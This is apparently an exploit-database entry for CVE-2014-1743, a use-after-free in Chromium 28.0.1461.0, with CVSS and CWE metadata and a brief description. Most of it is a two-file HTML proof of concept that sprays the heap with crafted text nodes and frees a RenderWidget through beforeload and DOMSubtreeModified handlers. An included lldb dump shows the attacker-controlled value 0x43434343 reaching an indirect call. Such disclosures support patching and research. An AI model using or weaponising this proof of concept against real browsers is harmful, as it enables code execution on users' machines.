Object-Beforeload-Chrome.html

vendor:

Chrome

by:

Vladimir Vorontsov

8,8

CVSS

HIGH

Use-after-free vulnerability

416

CWE

Product Name: Chrome

Affected Version From: 28.0.1461.0

Affected Version To: 28.0.1461.0

Patch Exists: YES

Related CWE: CVE-2014-1743

CPE: a:google:chrome:28.0.1461.0

Metasploit: https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-1743/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-1743/, https://www.rapid7.com/db/vulnerabilities/google-chrome-cve-2014-1743/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2014

Object-Beforeload-Chrome.html

A use-after-free vulnerability exists in Chromium release build 28.0.1461.0 (191833) due to a lack of proper validation of user-supplied input. An attacker can exploit this vulnerability to execute arbitrary code in the context of the browser. The vulnerability is triggered when a maliciously crafted HTML page is loaded in the browser, which causes a memory corruption in the 'WebCore::RenderWidget::updateWidgetGeometry()' function. This can be exploited to execute arbitrary code by spraying the heap with a specially crafted Uint8ClampedArray object.

Mitigation:

Upgrade to the latest version of Chromium.

Source

Exploit-DB raw data:

#---object-beforeload-chrome.html---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
	<head>
		<script>
			function sprayOne(mem, size, v) {
                                var a = new Uint8ClampedArray(size - 20);
                                for (var j = 0; j < a.length; j++) a[j] = v;
				var t = document.createTextNode(String.fromCharCode.apply(null, new Uint16Array(a)));
                             	mem.push(t);
			}
			function dsm(evnt) {
				// spray
				var mem = [];
				for (var j = 20; j < 8192; j++) sprayOne(mem, j, 0x43);
				
/*

Chromium release build 28.0.1461.0 (191833), built with options:

GYP_GENERATORS=ninja GYP_DEFINES='component=shared_library mac_strip_release=0' gclient runhooks

lldb attached to Chromium in --single-process mode:

* thread #28: tid = 0x3803, 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155, stop reason = EXC_BAD_ACCESS (code=1, address=0x43434617)
    frame #0: 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155
   152 	    virtual IntRect borderBoundingBox() const { return pixelSnappedBorderBoxRect(); } 
   153 	
   154 	    // The content area of the box (excludes padding - and intrinsic padding for table cells, etc... - and border).
-> 155 	    LayoutRect contentBoxRect() const { return LayoutRect(borderLeft() + paddingLeft(), borderTop() + paddingTop(), contentWidth(), contentHeight()); }
   156 	    // The content box in absolute coords. Ignores transforms.
   157 	    IntRect absoluteContentBox() const;
   158 	    // The content box converted to absolute coords (taking transforms into account).

(lldb) reg read
General Purpose Registers:
       eax = 0x43434343
       ebx = 0x12ae436c
       ecx = 0x00000018
       edx = 0x0edab374
       edi = 0x0edd6858
       esi = 0x12ae436c
       ebp = 0xb9bf8e38
       esp = 0xb9bf8d50
        ss = 0x00000023
    eflags = 0x00010286
       eip = 0x07b617e4  libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
  libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172
        cs = 0x0000001b
        ds = 0x00000023
        es = 0x00000023
        fs = 0x00000023
        gs = 0x0000000f

(lldb) disass
libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172:
-> 0x7b617e4:  calll  *724(%eax)
   0x7b617ea:  movl   %eax, -180(%ebp)
   0x7b617f0:  movl   (%ebx), %eax
   0x7b617f2:  movl   %ebx, (%esp)

*/
			}
		</script>
	</head>
	<body>
		<iframe src="object-beforeload-frame-chrome.html"></iframe>
	</body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#





#---object-beforeload-frame-chrome.html------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
	<head>
		<script>
			var nb = 0;
			function handleBeforeLoad() {
				if (++nb == 1) {
					p.addEventListener('DOMSubtreeModified', parent.dsm, false);
				} else if (nb == 2) {
					p.removeChild(f);
				}
			}
			
			function documentLoaded() {
				f = window.frameElement;
				p = f.parentNode;
				var o = document.createElement("object");
				o.addEventListener('beforeload', handleBeforeLoad, false);
				document.body.appendChild(o);
			}

			window.onload = documentLoaded;
		</script>
	</head>
	<body></body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#

## E-DB Note: Source ~ https://bugs.chromium.org/p/chromium/issues/detail?id=226696